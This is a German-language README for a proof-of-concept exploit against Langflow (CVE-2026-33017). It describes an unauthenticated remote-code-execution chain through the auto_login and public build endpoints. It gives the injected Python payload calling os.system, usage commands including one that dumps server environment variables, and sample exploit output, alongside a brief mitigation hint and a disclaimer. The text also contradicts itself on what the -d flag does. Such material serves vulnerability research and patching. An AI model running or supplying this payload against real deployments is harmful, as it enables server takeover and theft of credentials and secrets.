
Proof-of-Concept für CVE-2026-33017, das unauthentifizierte Remote-Code-Ausführung in anfälligen Langflow-Versionen durch bösartige CustomComponent-Code-Injektion demonstriert.
CVE-ID: CVE-2026-33017
Betroffene Software: Langflow
Verwundbare Versionen: <= 1.8.2
Behobene Version: >= 1.9.0
Schweregrad: Kritisch
Autor: arensballiu
Datum: 2026
Langflow stellt einen öffentlichen Flow-Build-Endpunkt (/api/v1/build_public_tmp/{flowID}/flow) bereit, der
beliebige CustomComponent-Codeblöcke akzeptiert und diese serverseitig ohne Authentifizierung ausführt. Durch
das Injizieren einer bösartigen Python-Nutzlast in das code-Feld eines CustomComponent-Knotens kann ein
nicht authentifizierter Angreifer beliebige Betriebssystembefehle mit den Rechten des Langflow-Serverprozesses
ausführen.
Die Angriffskette missbraucht zunächst den /api/v1/auto_login-Endpunkt, der ein Bearer-Token ohne
Anforderung von Anmeldedaten ausstellt, wenn Langflow in seiner Standard-Auto-Login-Konfiguration läuft. Dann
verwendet sie dieses Token, um einen temporären öffentlichen Flow zu erstellen und die serverseitige
Code-Ausführung über den Build-Endpunkt auszulösen.
Eine Docker-Datei ist enthalten, die eine Docker-Instanz mit installiertem und laufendem Langflow erstellt.
| Endpunkt | Methode | Authentifizierung erforderlich | Zweck |
|---|---|---|---|
/api/v1/auto_login | GET | Nein | Bearer-Token erhalten (Auto-Login muss aktiviert sein) |
/api/v1/flows/ | POST | Ja (Bearer) | Einen neuen Flow erstellen |
/api/v1/build_public_tmp/{flowID}/flow | POST | Nein (öffentlich) | Build auslösen — verwundbarer Ausführungspunkt |
/api/v1/flows/{flowID} | DELETE | Ja (Bearer) | Den erstellten Flow bereinigen |
Datei: CVE-2026-33017_POC.py
requests-Bibliothekpip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
| Flag | Langform | Erforderlich | Beschreibung |
|---|---|---|---|
-u | --url | Ja | Basis-URL der Langflow-Instanz |
-c | --command | Ja | Auf dem Server auszuführender OS-Befehl |
-d | --delete | Nein | Den erstellten Flow nach der Ausnutzung löschen |
Code-Ausführung überprüfen:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
Server-Umgebungsvariablen abrufen:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
Den Flow nach der Ausnutzung am Leben halten (Bereinigung überspringen):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
Der Exploit injiziert das folgende Python-Snippet in das code-Feld eines CustomComponent-Knotens:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - importiert dynamisch das os-Modul und führt den vom Angreifer übergebenen Shell-Befehl auf dem Server aus.CustomComponent, die erforderlich ist, um den Komponenten-Loader von Langflow zu erfüllen, ohne einen Parse-Fehler auszulösen.PUBLIC erstellt und der Build-Endpunkt wird über seinen öffentlichen Endpunkt aufgerufen, was bedeutet, dass kein Session-Cookie oder Authentifizierungstoken erforderlich ist, um die Ausführung auszulösen.Das CustomComponent-System von Langflow erlaubt es, beliebigen Python-Code als Teil einer Flow-Definition
einzureichen. Der Endpunkt /api/v1/build_public_tmp/{flowID}/flow baut diesen Code serverseitig auf und
wertet ihn teilweise aus, einschließlich Anweisungen auf Modulebene, ohne Sandboxing oder Einschränkung des
Zugriffs auf Python-Built-ins wie __import__.
1. GET /api/v1/auto_login → Bearer-Token erhalten (keine Anmeldedaten erforderlich)
2. POST /api/v1/flows/ → Einen PUBLIC-Flow erstellen (Bearer-Token)
3. POST /api/v1/build_public_tmp/ → Bösartige CustomComponent injizieren & ausführen (keine Auth)
4. DELETE /api/v1/flows/{id} → Bereinigen (optional)
Alle vier Schritte können von einem anonymen Angreifer gegen eine Standard-Langflow-Bereitstellung durchgeführt werden.
LANGFLOW_AUTO_LOGIN=false) in jeder internetzugewandten Bereitstellung.Dieser Proof of Concept wird ausschließlich für Bildungs- und autorisierte Sicherheitsforschungszwecke bereitgestellt. Die Verwendung dieses Skripts gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal und unethisch. Der Autor und die Mitwirkenden übernehmen keine Haftung für Missbrauch.